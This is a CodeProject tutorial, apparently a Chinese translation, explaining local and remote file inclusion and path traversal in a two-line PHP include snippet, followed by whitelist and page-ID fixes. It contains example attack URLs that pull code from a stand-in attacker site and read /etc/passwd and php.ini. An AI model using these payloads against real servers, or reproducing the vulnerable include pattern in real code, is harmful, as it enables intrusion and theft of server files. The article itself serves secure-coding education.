65.9K
CodeProject 正在变化。 阅读更多。
Home

文件注入和路径遍历漏洞

starIconstarIconstarIconstarIconstarIcon

5.00/5 (1投票)

2024年3月12日

CPOL

3分钟阅读

viewsIcon

3382

一些注入式漏洞的探讨

继我的上一篇文章,我们在其中探讨了换行符注入,今天我想回顾一些其他的注入式漏洞,它们可能潜藏在一个看起来无辜的小代码片段中。我将以 PHP 为例,但这些相同的漏洞可能存在于任何 Web 应用程序中,无论使用何种语言。想象一个博客、在线商店或其他简单的应用程序,其 URL 看起来像这样:

  • https://my-site.com/?page=home.php
  • https://my-site.com/?page=about.php
  • https://my-site.com/?page=post-2024-01-02-03.php

在内部,我们可能有一个 *index.php* 文件,其中包含类似以下内容:

<?php
    $page = $_GET['page'];
    include($page);

我想大多数人都会对这里明显存在的安全漏洞感到震惊。或者,如果你刚开始你的职业生涯,或者没有专门阅读过有关注入漏洞的资料,那么这个安全漏洞可能不那么明显。如果情况是这样,我可以原谅你,我承认我在年轻的时候几乎肯定会写出这样的代码。但对于更有经验的读者来说,我会问一个不同的问题 - 你能在这里发现 *多少个* 安全漏洞?剧透警告:两行代码中存在 3 个漏洞。

本地文件注入

由于易受攻击的代码包含在 GET 参数中指定的任何文件,因此恶意用户可以指定服务器上的任何本地文件,并让 PHP 解释器执行其内容(或将其作为输出返回)。例如,想象一个 XML 数据库与索引文件位于同一目录中。攻击者只需在浏览器中加载 https://my-site.com/?page=database.xml 即可访问该数据库。

至于执行恶意代码 - 很可能远程服务器上没有任何恶意代码。但是,如果应用程序包含文件上传功能,用户可以上传 *malicious-code.php*,然后通过导航到 https://my-site.com/?page=malicious-code.php 来执行它。

远程文件注入

好的 - 假设没有上传功能,并且攻击者真的想在服务器上运行一些恶意代码。他们可以尝试的另一件事是:

  1. 将一些恶意代码上传到他们控制的服务器
  2. 导航到 https://my-site.com/?page=http://attackers-site.com/malicious-code.php

当我在本地 XAMPP 安装中尝试此操作时,我得到了:

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <path-to-ini-file>

因此,值得庆幸的是,默认配置默认阻止远程文件执行,但这可能并不总是这样,因此最好假设该配置已启用,并保护应用程序逻辑免受远程文件注入的攻击。

路径遍历

这里还有最后一个漏洞 - 路径遍历。想象一下导航到以下一些 URL:

  • https://my-site.com/?page=../../etc/php.ini - 一个相对路径,用于获取 PHP 配置
  • http://my-site.com/?page=/etc/passwd - 一个绝对路径,用于获取有关服务器上用户帐户的信息

此漏洞基本上允许攻击者导航到 Web 服务器目录(例如:*htdocs*)之外的文件,以查看或执行他们通常不应能够访问的文件。

如何预防?

有很多方法可以处理这三个漏洞,但就其核心而言,我认为所有这些漏洞(以及几乎所有其他注入攻击)都可以通过遵循永不信任用户输入的格言来预防。也就是说,如果我们回到我们的代码片段:

<?php
    $page = $_GET['page'];
    include($page);

由于 GET 参数、POST 参数、路由参数、HTTP 标头等都可以被用户篡改,因此我们应该默认将它们视为可疑的。一些可能的解决方法是:

  1. 存储允许的文件白名单,并在包含之前根据白名单验证用户提交的输入(即 - GET 参数)。例子:
    <?php
        $page = $_GET['page];
        if (!is_in_whitelist($page))
            die('Wicked! Tricksy! False!');
    
        include($page);
  2. 或者更好的是,不要在 GET 参数中接受文件名,而是接受页面 ID,并根据提供的页面 ID 在查找表或数据库中查找文件名。例子:
    <?php
        $page_id = $_GET['page_id'];
        $page = get_page_by_id($page_id);
        if (!$page)
            die('Wicked! Tricksy! False!');
    
        include($page);
    

有用的阅读材料

  1. 本地文件包含漏洞测试
  2. 远程文件包含漏洞测试
  3. 路径遍历

大概就是这些了!我是否遗漏了任何漏洞,或者您对预防有任何其他建议吗?请在评论中告诉我。

再见!

© . All rights reserved.